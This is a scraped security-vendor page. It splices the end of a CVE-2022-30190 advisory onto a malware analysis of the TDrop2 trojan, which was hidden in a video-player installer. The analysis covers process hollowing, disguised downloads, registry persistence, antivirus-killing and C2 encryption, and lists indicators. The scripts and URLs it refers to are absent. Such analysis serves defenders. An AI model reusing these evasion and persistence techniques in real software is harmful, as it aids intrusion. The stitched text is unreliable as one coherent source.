Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.


Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575).  WildFire and Cortex XDR categorize all known samples we’ve come across as malware.


Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.


The Cortex XSOAR “CVE-2022-30190 - MSDT RCE” playbook helps speed up the discovery and remediation of compromised hosts within the network.


The playbook can be found on the XSOAR marketplace.


Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.


Customers can leverage this service with best practice configuration for further protection.


If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.


Updated June 3, 2022, at 3:30 p.m. PT.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Palo Alto Networks recently identified a new campaign targeting the transportation sector in Europe with ties to the Dark Seoul and Operation Troy campaigns that took place in 2013.


This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.


For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.


In this attack, attackers embedded the TDrop2 malware inside a legitimate video software package hosted on the software distributor’s website.


By doing this, they were able to target organizations that relied on the distributor’s security camera solution and infect their systems with malware.


They created a true Trojan horse, which sneaks into a network as a gift, but when opened, the attacker’s army leaps out.


The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.


The following two unique file names were involved in the attack.


The difference between the files involves the specific video player that was dropped and executed during runtime.


Each file would drop and execute the full or light version of the legitimate video player respective to the file name.


Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.


These files were added to the end of the Trojan executable, as seen below.


When initially run, the malware checks to see if its parent process is either explorer.exe or cmd.exe.


In the event the malware is not running in the context of either of these processes, it will exit.


This check exists in a number of the subsequent processes/executables used by the TDrop2 malware variant.


Subsequently, the malware proceeds to extract both the video player and the embedded malware using a series of calls to CreateFile, CreateFileMapping, GetFileSize, and MapViewOfFile.


Once extracted, the file writes it to a new file on disk prior to executing it.


The video player is written to one of the following locations, based on the original filename:  The malware itself is written to the %TEMP% directory as well.


The filename is derived by randomly choosing an executable name from the system32 directory.


The randomly chosen executable must not contain any of the following strings:  This dropped malware begins by performing the same parent process check witnessed in the original sample.


In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.


This malware sample will also dynamically load a number of functions and libraries.


After the kernel32.dll and ntdll.dll libraries are loaded via calls to GetModuleHandle, the following process takes place:


In total, the following 14 functions are loaded during runtime:


After these functions are loaded, the malware will randomly select an executable from the system32 using the same routine witnessed in the earlier sample.


The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.


This leads us to the next stage of our malware  This particular stage of malware acts as a downloader.


The parent process check is not used in this particular sample.


The malware initially attempts to download a file from the following location:


While the link above shows a file extension of an image, the transferred file is in fact a modified executable file.  The downloaded file has the first two bytes of the PE file format replaced with the characters ‘DW’, instead of the usual ‘MZ’.


After the download occurs, the malware immediately corrects the first two bytes with the ‘MZ’ characters prior to writing the file to disk.


The downloaded file is dropped to the system32 folder.


The malware selects a randomly chosen DLL from this directory.


The base name of this DLL is used to write the downloaded file.


As an example, in the event apcups.dll was selected, the malware would write the downloaded file to apcups.exe in the same folder.


The downloader then proceeds to execute this downloaded file in a new process.


As we’ve seen in previous samples, this executable file begins by checking the parent process for the presence of ‘cmd.exe’ or ‘explorer.exe’.


It proceeds to randomly select an executable file in the system32 folder, and performs process hollowing against it.


The injected executable contains the last stage of the TDrop2 malware variant.


Upon execution, we once again see the parent process check to determine if the malware is running within the ‘cmd.exe’ or ‘explorer.exe’ parent process.


It continues to dynamically load a number of libraries and functions for later use.


A feature that has yet to be seen is that of string encryption.


Strings are encrypted using the following function, represented in Python:


After dynamically loading functions and libraries, the malware iterates through the running processes and attempts to determine if the ‘V3lite.exe’ process is running.


This process name is associated with the South Korean-based AhnLab security software provider.


In the event this process is running, the malware will attempt to kill the process’ class window.


The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently:  Global\SPPLMUTEX  The payload then spawns two threads—one to maintain persistence and another to gather victim information and perform command and control operations.


Persistence is achieved by setting the following registry key:  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  The name of the registry key in the above instances is derived from the basename of the supplied argument.


In the event the supplied argument was C:\malware.exe, the registry key would be named ‘malware’, and the path for this key would be ‘C:\malware.exe’.  The persistence thread runs in a loop where the registry keys are set every 60 seconds, ensuring persistence even in the event an administrator manually deletes the registry keys.


The other thread begins by collecting information about the victim, such as the following:  These data points are used to generate a unique victim ID, which is stored in the following registry key:  HKCU\SOFTWARE\Microsoft\HY08A\Build  The malware will continue to decrypt and store embedded C2 URLs.


The following URLs have been identified:


The final payload proceeds to enter its command and control loop.


It initially performs a DNS check against microsoft.com to ensure it has Internet connectivity.


After this check is performed, it enters an infinite loop, with a sleep interval set at a default of 30 minutes.


The malware will periodically poll the C2 server and determine if any commands are received.


The initial POST request contains a unique victim identifier that was previously generated.


The optional response by the C2 server is both encoded and encrypted.  The data is first encrypted using an unidentified algorithm.


The two keys used for this encryption are generated using another unidentified algorithm.


The following Python script can be used to generate the keys.


A default salt of ‘FFFFFFFF’ is used.


Additionally, the following Python script can be used for encryption/decryption


After the data is encrypted, it is then base64-encoded using a custom alphabet.


The following alphabet is used:  3bcd1fghijklmABCDEFGH-J+LMnopq4stuvwxyzNOPQ7STUVWXYZ0e2ar56R89K/